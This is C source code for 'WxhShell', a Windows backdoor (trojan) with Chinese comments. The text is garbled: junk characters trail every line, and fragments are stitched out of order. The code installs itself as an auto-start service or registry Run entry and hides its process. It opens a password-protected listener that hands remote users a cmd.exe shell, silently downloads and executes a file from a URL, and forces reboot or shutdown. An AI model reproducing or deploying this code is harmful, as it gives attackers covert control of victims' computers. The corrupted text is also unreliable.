    if(Boot(SHUTDOWN)) Eb8~i_B-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yBCLS550  
    else { y\n#`*5k  
    closesocket(wsh); YB_fy8Tfx  
    ExitThread(0); h %5keiA  
    } jFl!<ooCo  
    break; g'9~T8i& ^  
    } VHLt, ?G  
  // 获取shell !Ld[`d.|R!  
  case 's': { PB)vE  
    CmdShell(wsh); fjMmlp  
    closesocket(wsh); >x]ir  
    ExitThread(0); %NcBq3  
    break; %Q=rm!Syv  
  } hb(H-`16  
  // 退出 w3;T]R*  
  case 'x': { 9 RC:-d;;_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D|2lBU  
    CloseIt(wsh); Qnx?5R-}ZU  
    break; @cQ |`  
    } 6%V#_]  
  // 离开 dFZh1*1  
  case 'q': { 0S\HO<~k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <.ZD.u  
    closesocket(wsh); IH"_6s#$&  
    WSACleanup(); Hn]6re  
    exit(1); D7Ds*X`!l  
    break; of'H]IZ  
        } !,~C  
  } /px`FuJI(  
  } Pa{bkr  
&-KQ m20n  
  // 提示信息 qxHsmGV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~?3HY:t~K  
} w ; PV &M  
  } A QPzId*z  
6-\C?w A  
  return; N::.o+1  
} UdFYG^i  
p]6/1&t="  
// shell模块句柄 w!RJ8  
int CmdShell(SOCKET sock) ,UfB{BW  
{ RPkOtRKL=w  
STARTUPINFO si; DCgiTT\  
ZeroMemory(&si,sizeof(si)); h: zi8;(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E6xWo)`%5s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hOe$h,E']  
PROCESS_INFORMATION ProcessInfo; qX]ej 2  
char cmdline[]="cmd"; _<jccQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mvk#$:8e  
  return 0; %p};Di[V  
} !^3j9<|@'  
Y|<1|wGG  
// 自身启动模式 ROj=XM:+  
int StartFromService(void) J!:v`gb#@A  
{ F5<GGEQb  
typedef struct r]%.,i7~8  
{ 30h1)nQ$h}  
  DWORD ExitStatus; R[2h!.O8  
  DWORD PebBaseAddress; yjucR Fl  
  DWORD AffinityMask; 9-?kamA  
  DWORD BasePriority; y9Q"3LLic`  
  ULONG UniqueProcessId; Rp.FG   
  ULONG InheritedFromUniqueProcessId; :LB< z#M  
}   PROCESS_BASIC_INFORMATION; ;W!hl<``d*  
!Op18hP$  
PROCNTQSIP NtQueryInformationProcess; Q?Uk%t\hwc  
#~[mn_C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <PQ[N[SU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \JGRd8S[  
p+R8Mo;I  
  HANDLE             hProcess; |9 4xRC  
  PROCESS_BASIC_INFORMATION pbi; nmrdqSV  
Xqas[:)7+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LiD-su D  
  if(NULL == hInst ) return 0; (ZEDDV2  
D"n 3If%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m}nA- *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1I U*:Z;Rz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Alb5#tm:m  
I[I]C9D  
  if (!NtQueryInformationProcess) return 0; zyFbu=d|O:  
eC-nV)]I9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sJYs{Wm  
  if(!hProcess) return 0; JOx""R8T5  
rVx?Yo1F'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :aMp,DfM]P  
0N3S@l#,\A  
  CloseHandle(hProcess); q\87<=9J  
!_[^%7"S1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dz&<6#L<  
if(hProcess==NULL) return 0; q,eXH8 x  
(?zZvW8  
HMODULE hMod; \J^|H@;(@  
char procName[255]; x20sB  
unsigned long cbNeeded; &MF%zJ6  
O:G-I$F|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !yX4#J(  
pmi`Er  
  CloseHandle(hProcess); mH09* Z  
%D}]Z=gp  
if(strstr(procName,"services")) return 1; // 以服务启动 g,cl|]/\d  
h3:dO|Z  
  return 0; // 注册表启动 !P b39[f  
} 'D;'Pr]  
dKTUW<C  
// 主模块 p uLQ_MNV  
int StartWxhshell(LPSTR lpCmdLine) as| MB (  
{ eEkbD"Q  
  SOCKET wsl; ;u: }rA)  
BOOL val=TRUE; SwPc<Z?P  
  int port=0; 79Vp^GG7  
  struct sockaddr_in door; z|>f*Z  
] Q\/si&  
  if(wscfg.ws_autoins) Install(); ?{I]!gI  
awa$o  
port=atoi(lpCmdLine); @VcSK`  
9}6^5f?|  
if(port<=0) port=wscfg.ws_port; =24<d!R  
yasKU6^R'  
  WSADATA data; 1(z+*`"WB&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ocT.2/~d  
S}cm.,/w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k"2xyzt*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &4O0}ax*Zm  
  door.sin_family = AF_INET; qjp<_aw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :V#W y  
  door.sin_port = htons(port); x?|   
p#dpDjh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qZ7/d,w  
closesocket(wsl); %L$P']%t@  
return 1; 29=L7  
} KI="O6 h  
f i3<  
  if(listen(wsl,2) == INVALID_SOCKET) { K r&HT,>B  
closesocket(wsl); sx0:g?F3j  
return 1; YEx7 6  
} =1"8ua  
  Wxhshell(wsl); O{9h'JU  
  WSACleanup(); (_ElM>  
fw1g;;E  
return 0; If_S_A c  
>K9uwUi|b]  
} A@0%7xm  
^KJIT3J(#  
// 以NT服务方式启动 zk@K uBLL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]l'W=_XDg  
{ }9xEA[@;  
DWORD   status = 0; J$?*qZ(oO  
  DWORD   specificError = 0xfffffff; 8vcV-+x  
5E/z.5 q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `MtPua\_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O`hOVHD Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jo4*,B1x  
  serviceStatus.dwWin32ExitCode     = 0; @M-+-6+  
  serviceStatus.dwServiceSpecificExitCode = 0; 2|)3Ly9  
  serviceStatus.dwCheckPoint       = 0; ~a5p_xP  
  serviceStatus.dwWaitHint       = 0; [EJ[Gg0m  
:,=no>mMx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v&B*InR?+  
  if (hServiceStatusHandle==0) return; /0mbG!Ac  
+BRmqJ3  
status = GetLastError(); B&`hvR  
  if (status!=NO_ERROR) PQRh5km  
{ Wb"*9q06  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +M6qbIO  
    serviceStatus.dwCheckPoint       = 0; #<bt}Tht  
    serviceStatus.dwWaitHint       = 0; @hiwq 7[j  
    serviceStatus.dwWin32ExitCode     = status; u9FXZK7  
    serviceStatus.dwServiceSpecificExitCode = specificError; qF(F<$B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )BY\c7SG  
    return; J..>ApX  
  } 1TKOvy_  
vb}; _/ #?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sSi1;9^o  
  serviceStatus.dwCheckPoint       = 0; MX?K3=j @>  
  serviceStatus.dwWaitHint       = 0; "}]1OL SV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x aWmwsym  
} P.RlozF5;  
":*PC[)W  
// 处理NT服务事件,比如:启动、停止 0=;jGh}|i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ++:vO  
{ B8_ w3;x  
switch(fdwControl) ubIGs| p2c  
{ Cd#>,,\z  
case SERVICE_CONTROL_STOP: 1@kPl[`p'  
  serviceStatus.dwWin32ExitCode = 0; ho_;;y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !c\d(u  
  serviceStatus.dwCheckPoint   = 0; j3rBEQ,R  
  serviceStatus.dwWaitHint     = 0; o)7gKWjujP  
  { -tSWYp{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QH6Lb%]/  
  } 85l 1  
  return; n~l )7_G  
case SERVICE_CONTROL_PAUSE: 8| zR8L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *lg1iP{]  
  break; Zg|z\VR  
case SERVICE_CONTROL_CONTINUE: Z^>[{|lIA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m u(HNj  
  break; %lchz /  
case SERVICE_CONTROL_INTERROGATE: -L6 rXQV@j  
  break; a4X J0Tm  
}; <w}k9(Ds  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8h<Ls_  
} 5f7;pS<  
})Rmu."\  
// 标准应用程序主函数 Roy0?6O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O k_I}X  
{ EW$ Je  
/J8AnA1  
// 获取操作系统版本 h%(dT/jPL)  
OsIsNt=GetOsVer(); {>G\3|^D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s@f4f__(]  
0yXUVKq3  
  // 从命令行安装 Z bxd,|<|  
  if(strpbrk(lpCmdLine,"iI")) Install(); -Xkdu?6Eh  
28-6(oG  
  // 下载执行文件 @<\f[Znto  
if(wscfg.ws_downexe) { Y2j>lf?8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <oPo?r|oM|  
  WinExec(wscfg.ws_filenam,SW_HIDE); VY@uQ#&A  
} /g712\?M4  
N<:5 r  
if(!OsIsNt) { *J?QXsg  
// 如果时win9x,隐藏进程并且设置为注册表启动 mUzNrkG(G  
HideProc(); 7[QU *1bk  
StartWxhshell(lpCmdLine); S)z jfJR  
} B N@*CG  
else dh%C@n:B  
  if(StartFromService()) \i "I1xU  
  // 以服务方式启动 yyrCO"eh  
  StartServiceCtrlDispatcher(DispatchTable); }3Pz{{B&+O  
else ;'dw`)~jQ  
  // 普通方式启动 X(1nAeQ  
  StartWxhshell(lpCmdLine); s'ntf  
9'Y~! vY  
return 0; FqQm *k_  
} SZ~Ti|^  
'@wYr|s4  
R,/?p  
P@p(Y2&~g  
=========================================== 1#Dpj.cO#  
_$0<]O$  
jwTb09  
`,aPK/  
RM-| ?%  
1okL]VrI  
" k _hiGg  
18Pc4~ >0  
#include <stdio.h> 9C$b^wHd  
#include <string.h> 8=T;R&U^M  
#include <windows.h> pQ*9)C   
#include <winsock2.h> %]>c4"H  
#include <winsvc.h> WhSQ>h!@s  
#include <urlmon.h> 0X`Qt[  
ss%ahs  
#pragma comment (lib, "Ws2_32.lib") CY0|.x  
#pragma comment (lib, "urlmon.lib") $B*Ek>EK  
RqXcL,,9  
#define MAX_USER   100 // 最大客户端连接数 1a| q&L`o  
#define BUF_SOCK   200 // sock buffer 4<70mUnt  
#define KEY_BUFF   255 // 输入 buffer 5P -IZ8~$  
U{RW=sYB~9  
#define REBOOT     0   // 重启 IQoz8!guh:  
#define SHUTDOWN   1   // 关机 85m[^WGyh  
v@LK3S/!3  
#define DEF_PORT   5000 // 监听端口 >yg mE`g  
y VUA7IY  
#define REG_LEN     16   // 注册表键长度 `z-4OJ8~  
#define SVC_LEN     80   // NT服务名长度 ]/HSlT=  
g[44YrRD  
// 从dll定义API #SQT!4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m7^aa@^m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d[w'j/{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B1JdkL 3h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0lF.!\9  
5 r"`c  
// wxhshell配置信息 0MF[e3)a  
struct WSCFG { r{$ip"f  
  int ws_port;         // 监听端口 (X,Ua+{  
  char ws_passstr[REG_LEN]; // 口令 za1MSR  
  int ws_autoins;       // 安装标记, 1=yes 0=no *|Q'?ty(x  
  char ws_regname[REG_LEN]; // 注册表键名 e4yd n  
  char ws_svcname[REG_LEN]; // 服务名 x$J1%K*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2+TCFpv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *.r i8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X7?p$!M6;B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :qc@S&v@]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |zKe*H/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Ucg<Z&%  
g6IG>)  
}; S WVeUL#5  
=2\k Jv3  
// default Wxhshell configuration nY'0*:'u  
struct WSCFG wscfg={DEF_PORT, tjBs>w  
    "xuhuanlingzhe", rC14X}X6  
    1, \$/)o1SG  
    "Wxhshell", x:88E78  
    "Wxhshell", 7;#9\a:R?  
            "WxhShell Service", 4cRF3$a md  
    "Wrsky Windows CmdShell Service", $}jp=?,t  
    "Please Input Your Password: ", 7$<.I#x  
  1, wXMKQ)$(  
  "http://www.wrsky.com/wxhshell.exe", KF|+# qCN  
  "Wxhshell.exe" >t)vQ&:;u  
    }; U>IllNd  
!Sy._NE`z  
// 消息定义模块 Y _m4:9p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P \tP0+at  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dD?1te  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ';hU&D;s  
char *msg_ws_ext="\n\rExit."; lt|\$Iy(  
char *msg_ws_end="\n\rQuit."; o=_:g >5  
char *msg_ws_boot="\n\rReboot..."; T,@.RF  
char *msg_ws_poff="\n\rShutdown..."; 68Vn]mr#  
char *msg_ws_down="\n\rSave to "; cNtGjLpx;  
[pUw(KV2m  
char *msg_ws_err="\n\rErr!"; wV+ W(  
char *msg_ws_ok="\n\rOK!"; -X'HZ\)  
,3.E]_3 xX  
char ExeFile[MAX_PATH]; ^o_2=91  
int nUser = 0; =dHM)OXD"  
HANDLE handles[MAX_USER]; d=o|)kV  
int OsIsNt; 7cr@;%#  
UQ:H3  
SERVICE_STATUS       serviceStatus; ;o8C(5xE|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F^ 7qLvh  
K}tl,MMU  
// 函数声明 K:Wxx "  
int Install(void); i6?,2\K  
int Uninstall(void); %%`Nq&'  
int DownloadFile(char *sURL, SOCKET wsh); #:s*)(Qn  
int Boot(int flag); [4"1TyW  
void HideProc(void); swYlp  
int GetOsVer(void); kQ 7$,K#  
int Wxhshell(SOCKET wsl); WjW+ EF8(  
void TalkWithClient(void *cs); 0; 2i"mzS\  
int CmdShell(SOCKET sock); E0'+]"B  
int StartFromService(void); R  5-q{  
int StartWxhshell(LPSTR lpCmdLine); Yz=(zj  
OXe+=Lp<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [9(tIb!x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t.$3?"60~  
 H;s  
// 数据结构和表定义 CnSfGsE>  
SERVICE_TABLE_ENTRY DispatchTable[] = hEi]-N\X  
{ 'iA#lKG  
{wscfg.ws_svcname, NTServiceMain}, GwQW I ]  
{NULL, NULL} k__iJsk  
}; XAwo ~E  
oG M Ls  
// 自我安装 A-^[4&rb  
int Install(void) +~?ze,Di  
{ Ig}G"GR  
  char svExeFile[MAX_PATH]; lT#&\JQ  
  HKEY key; k"\%x =#  
  strcpy(svExeFile,ExeFile); T$T:~8tK3  
Aayh'xQ  
// 如果是win9x系统,修改注册表设为自启动 gKeqf-UWKJ  
if(!OsIsNt) { NdGIH/Y;M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p4C w#)BaS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZQXv-"  
  RegCloseKey(key); u?5 d%]*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,yus44w[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M.$Li#So,  
  RegCloseKey(key); g@wF2=  
  return 0; qYR $5  
    }  N-`Vb0;N  
  } "RMBV}<T  
} >/mi#Y6  
else { D9,609w  
{*,~,iq  
// 如果是NT以上系统,安装为系统服务 "X0"=1R~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Oo |*q+{  
if (schSCManager!=0) w F6ywr  
{ v,y nz'>)  
  SC_HANDLE schService = CreateService 2+zE|I.  
  ( ^!^6 |[  
  schSCManager, BZq_om6  
  wscfg.ws_svcname, 0T7(c-  
  wscfg.ws_svcdisp, ! Ob  
  SERVICE_ALL_ACCESS, %a=K:" oU[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >}Qj|05G  
  SERVICE_AUTO_START,  Ec IgX_\  
  SERVICE_ERROR_NORMAL, 9pUvw_9MY  
  svExeFile, fZ1v|  
  NULL, :f%FM&b  
  NULL, D X GClH  
  NULL, VN[C%C  
  NULL, 59mNb:<  
  NULL K~ ,| ~  
  ); ZycV?ob8}  
  if (schService!=0) s3qWTdM  
  { nfpkWyIu{  
  CloseServiceHandle(schService); `q|&;wP.  
  CloseServiceHandle(schSCManager); mAMi-9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); **_`AM~  
  strcat(svExeFile,wscfg.ws_svcname); D,q=?~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U"$Q$ OFs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ck;O59A"&-  
  RegCloseKey(key); 7?Q@Hj(:NT  
  return 0; o#3?")>|  
    } y_EkW f  
  } uw!  
  CloseServiceHandle(schSCManager); JwCv(1$GM  
} |T?wM/  
} sqTBlP  
3D_Ky Z~M+  
return 1; ,dT.q  
} CvfX m  
zvjVM"=G  
// 自我卸载 0q'd }DW  
int Uninstall(void) L[l ?}\  
{ uo0g51%9  
  HKEY key; ,: g.B\'Q  
$$ %4,\{l  
if(!OsIsNt) { )Y%>t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n,sf$9"  
  RegDeleteValue(key,wscfg.ws_regname); "hwg";Z$n  
  RegCloseKey(key); f!6oW(r-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y.` {]rC  
  RegDeleteValue(key,wscfg.ws_regname); Y<|!)JLB2  
  RegCloseKey(key); S\fEV"  
  return 0; HR)Dz~Obw  
  } 5\93-e  
} s2f9 5<B  
} J)1:jieQ  
else { ~^d. zIN!  
r /v'h@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <;O=h; ~|  
if (schSCManager!=0) ]=\Mf<  
{ m|q?gX9R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H.-jBFt}  
  if (schService!=0) T}} 0hs;  
  { b3(pRg[Fp  
  if(DeleteService(schService)!=0) { BiGB<Jr  
  CloseServiceHandle(schService); p@epl|IZp  
  CloseServiceHandle(schSCManager); VBc[(8o  
  return 0; eduaG,+k7p  
  } O7@CAr  
  CloseServiceHandle(schService); Eu/~4:XN  
  } 6k6M&a  
  CloseServiceHandle(schSCManager); s_]p6M  
} $=dp)  
} V]b1cDx{  
&<I*;z6%t  
return 1; *r!f! eA:  
} { 3``To$  
m87,N~DP  
// 从指定url下载文件 k=w;jX&;`  
int DownloadFile(char *sURL, SOCKET wsh) wMy$T<:   
{ m"Y;GzqQl  
  HRESULT hr; xml@]N*D#E  
char seps[]= "/"; &`>[4D*  
char *token; kPwgayz  
char *file; z;1y7W!v  
char myURL[MAX_PATH]; =Y`P}vI]w%  
char myFILE[MAX_PATH]; |8I #`  
8r '  
strcpy(myURL,sURL); ^NJ]~h{n$  
  token=strtok(myURL,seps); 2 qRX A  
  while(token!=NULL) Y" 9 o  
  { 1*S5:7Tb  
    file=token; n^|;J*rD  
  token=strtok(NULL,seps); lB!`,>"c  
  } vW4~\]  
-r/G)Rs  
GetCurrentDirectory(MAX_PATH,myFILE); 1);$#Dlt k  
strcat(myFILE, "\\"); b *IJ +  
strcat(myFILE, file); B{|g+c%  
  send(wsh,myFILE,strlen(myFILE),0); /CpUq;^  
send(wsh,"...",3,0); 3/I Q]8g"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gLv|Hu7  
  if(hr==S_OK) `abQlBb*  
return 0; H+ra w/"  
else {Z[yY6Nu  
return 1; c>fLSf  
#.O,JG#H  
} :T~Aa(%(  
/UeLf $%ZW  
// 系统电源模块 f.V;Hl,  
int Boot(int flag) qh Ezv~  
{ A^7!:^%K  
  HANDLE hToken; YArNJ5z=  
  TOKEN_PRIVILEGES tkp; 1|Y(XB^os(  
8f>=.O*)  
  if(OsIsNt) { }qfr&Ffh@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L'{;V\d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A.7:.5Cx'  
    tkp.PrivilegeCount = 1; Dd|}LV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g-'y_'%0G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zb9^ii$g  
if(flag==REBOOT) { uY0V!W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R`=3lY;  
  return 0; 3nuf3)  
} 5zJkPki  
else { VlW#_.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <B6@q4Q  
  return 0; ${'gyD  
} D^Dm, -  
  } <'A>7M~h?*  
  else { n+@}8;oeP  
if(flag==REBOOT) { g+/%r91hZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !- f>*|@  
  return 0; lJ]r %YlF  
} j&E4|g (  
else { 5@c,iU-L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $w%oLI@kl  
  return 0; /^96|  
} !8&,GT  
} J*6I@_{/ U  
E%ea o$  
return 1; >(z{1'f{  
} .fcU&t  
|Y3!Lix  
// win9x进程隐藏模块 AIsM:sV]  
void HideProc(void) 2'g< H-[  
{ =fMSmn1S  
O%v(~&OSl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^ )N[x''a  
  if ( hKernel != NULL ) ^&<~6y}U^  
  { ~\dpD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >_M}l @1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qu]0BVIe  
    FreeLibrary(hKernel); 43rM?_72  
  } "FQh^+  
@_YEK3l]l  
return; ;a!o$y  
} [rqe;00]  
qx 3.oU  
// 获取操作系统版本 ,4j$kR  
int GetOsVer(void) VL5kjF3/  
{ =f@O~nGm  
  OSVERSIONINFO winfo; tYIHsm\b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IyG5Rj2  
  GetVersionEx(&winfo); (PGmA>BT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Br$(XJoK}  
  return 1; A(_AOoA'  
  else }7hpx!s,  
  return 0; rP ;~<IxEr  
} *F:]mgg  
'R_U,9y`  
// 客户端句柄模块 D,xWc|V  
int Wxhshell(SOCKET wsl) qt]QO1pAd  
{ v,vTRrpK  
  SOCKET wsh; cNC\w%  
  struct sockaddr_in client; .Q"3 [  
  DWORD myID; OdQ >h$ gZ  
Js+d4``W  
  while(nUser<MAX_USER) ^FgNg'"[3  
{ J'9&dt  
  int nSize=sizeof(client); "W6 nW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xmKa8']x  
  if(wsh==INVALID_SOCKET) return 1; yG&kP:k<  
S "oUE_>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <6/XE@"   
if(handles[nUser]==0) q<>2}[W  
  closesocket(wsh); f<SSg* A;  
else x+B~t4A  
  nUser++; dQM# -t4*  
  } js`zQx'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'G(N,vu[@  
oE#HI2X  
  return 0; P},S[GaZ  
} %fP^Fh   
~b\7 qx_a9  
// 关闭 socket v ;MI*!E  
void CloseIt(SOCKET wsh) _zh}%#6L  
{ UShn)3F  
closesocket(wsh); '5ky<  
nUser--; XyS#6D  
ExitThread(0); u4VQx,,  
} H[@}ri<  
R'dF<&Kj|  
// 客户端请求句柄 3JW9G04.  
void TalkWithClient(void *cs) fH`1dU  
{ md$[Bs9  
} Q1$v~  
  SOCKET wsh=(SOCKET)cs;  p<*-B  
  char pwd[SVC_LEN]; 1+eC'&@Xjt  
  char cmd[KEY_BUFF]; ;x^&@G8W`  
char chr[1]; EoU}@MjM~  
int i,j; L*FmJ{Yf  
gY0*u+LF  
  while (nUser < MAX_USER) { |Q9S$l]  
h>mQ; L  
if(wscfg.ws_passstr) { A!^K:S:@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /bCrpcH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fS#/-wugOB  
  //ZeroMemory(pwd,KEY_BUFF); &tMvs<q,  
      i=0; @1n0<V /  
  while(i<SVC_LEN) { jv2l_  
@2$PU{dH  
  // 设置超时 [-6j4D  
  fd_set FdRead; qgZ(o@\  
  struct timeval TimeOut; h(/|`   
  FD_ZERO(&FdRead); ] (MXP,R  
  FD_SET(wsh,&FdRead); 7h&xfrSrD  
  TimeOut.tv_sec=8; twgU ru  
  TimeOut.tv_usec=0; dUO~dV1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EzNmsbtZ(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hNx`=D9[7  
d0-}Xl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pbqa  
  pwd=chr[0]; =1yUH9\,b  
  if(chr[0]==0xd || chr[0]==0xa) { &}T`[ d_Z  
  pwd=0; )>\Ne~%  
  break; ,?&hqM\  
  } (3]7[h7  
  i++; CKh-+8j  
    } 7%7_i%6wP  
tm]75*?  
  // 如果是非法用户,关闭 socket fiw~"2U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B|extWwu  
} z[t$[Q g  
ybS7uo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J|xqfY@+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a*SJHBB  
{+C>^b  
while(1) { QJ"B d`wc  
vpXS!o>/Sn  
  ZeroMemory(cmd,KEY_BUFF); 6bb=;  
5j ]}/Aq  
      // 自动支持客户端 telnet标准   {xM%3  
  j=0; ~]"}s(J;  
  while(j<KEY_BUFF) { k(^zhET  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HwU \[f  
  cmd[j]=chr[0]; *3 9sh[*}  
  if(chr[0]==0xa || chr[0]==0xd) { 3N]pN<3@  
  cmd[j]=0; _&F6As !{  
  break; W 8E<P y  
  } #mllVQ  
  j++; vjXvjv{t  
    } ir]uFOj  
PFPfLxna  
  // 下载文件 1Eg}qU,:  
  if(strstr(cmd,"http://")) { ~Zj?%4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h+Q ==  
  if(DownloadFile(cmd,wsh)) i(c2NPbX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;aZpi-E"  
  else E#HO0 ]S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x(S 064  
  } B1LnuB%  
  else { 8|d[45*q  
4yBe(&N-d  
    switch(cmd[0]) { Qy6Avw/$  
